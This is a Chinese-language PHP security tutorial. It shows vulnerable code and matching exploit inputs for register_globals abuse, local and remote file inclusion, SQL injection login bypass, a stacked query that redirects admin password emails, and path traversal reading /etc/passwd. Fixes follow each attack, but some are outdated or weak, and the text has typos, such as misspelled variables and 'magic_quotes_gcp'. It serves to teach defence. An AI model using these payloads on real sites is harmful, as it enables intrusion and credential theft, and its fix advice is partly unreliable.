0x01.全局变量
php中并不需要申明全局变量，当必须使用它时会自动创建例：
前 if($is_admin==1){
..... //此时会重定向到管理界面
}else{
.....
}
利用：在文件bugged.php提交
http://127.0.0.1/bugged.php?is_admin=1
后 $is_admin=0; //申明变量
if($is_admin==1){
..... //此时会重定向到管理界面
}else{
.....
}
0x02.文件包含
-------动态包含文件（部分路径名包含在某些变量中），而变量又未申明
例：
前 <?php
include "/users/".$include_path.".php";
?>
利用：http://127.0.0.1/bugged.php?include_path=../../../etc/passwd
提交恶意数据，使其包含了/etc/passwd文件
是一个NULL字符，用于删除php文件扩展名
--------远程文件包含
前：<?php
include ($GET['pag']);
?>
利用：对$pag文件没有进行验证的话，可以通过浏览器的包含或者调用他的脚本
获得电脑的访问权
1.提权
http://127.0.0.1/inc.php?pag=[Evil Script -our shell located on our server]
2.浏览文件
http://127.0.0.1/inc.php?pag=/ect/passwd
修改：创建一个可访问页面的列表，对输入值进行验证
<?php
...
$pag=$_GET['pag'];
$pags=array('index.php','alfa.php','gamma.php');
if(in_array($pag,$pags)){
include($pag);
}else{
die("Hacking Attempt!");
}
...
?>
0x03.跨站脚本
0x04.sqL注入
(') 用于划分字符(#) 用于注释
(;)在数据库中用来构造新的请求语句
例：绕过登录验证--获得管理权限
<?php
...
//登录脚本
$nick=$_POST['nick'];
$pass=$_POST['post'];
$link=mysql_connect('localhost','root','root')or die('Error'.mysql_error());
mysql_select_db("sql_inj",$link);
$query=mysql_query("SELECT*FROM sql_inj WHERE nick='".$nick"'AND
pass='".$pass."'",$link);
if(mysql_num_rows($query)==0){
echo"<script type=\"test/javascript\">
window.location.href='index.html';</script>";
exit;
$logged=1
...
}
?>
此处两个变量用于SQL请时没有进行任何有效的验证，所以可以进行注入
恶意构造1：
$nick=1'OR'1'='1
$pass=1'OR'1'='1
"SELECT*FROM sql_inj WHERE nick='1'OR'1'='1'AND pass='1'OR'1'='1'"
恶意构造2：
$nick=1'OR'1'='1'#
$pass=what_we_want_to_put
"SELECT*FROM sql_inj WHERE nick='1'OR'1'='1'AND pass='what_we_want_to_put'"
例
<?php
//邮件脚本
...
$email=$_POST['email'];
...
$query=mysql_query("SELECT email,passwd,user_name FROM users WHERE email='".$email."'");
...
?>
构造语句：
$email=x';UPDATE users SET email ='my@gmail.com'
WHERE email='admin@site.com';
这样用my@gmail.com就能收到密码
修补：php.ini文件
1.set magic_quotes_gcp to On
在(')(")(\)和 NULL 前自动加入转义符
2.use addslashes()
在字符串前面加上斜杠
3.htmlspecialchars()
将指定字符转化成html实体
4.mysql_escape_string()
转义mysql_query中使用的字符串
5.www.php.net
6.验证用户提取的信息
$user_id=(int)$_GET['user_id']; 这里的id都是整数
0x05 文件遍历
<?php
..
$fp=fopen("/path/{$_GET['filename']}.txt",'r');
..
?>
由于filename可被远程修改，会导致文件遍历漏洞
可以利用（../）来移动目录查看文件
构造：
http://127.1/path/bug.php?filename=../../../path_of_another_file
以突破文件扩展名限制
修补：使用basename()函数
<?php
$clean=array();
if(basename($_GET['filemname'])==$_GET['filename']){
$clean['filename']=$_GET['filename'];
}
else{
..
}
$fp=fopen("/path/{$clean['filename']}.txt",'r');
?>
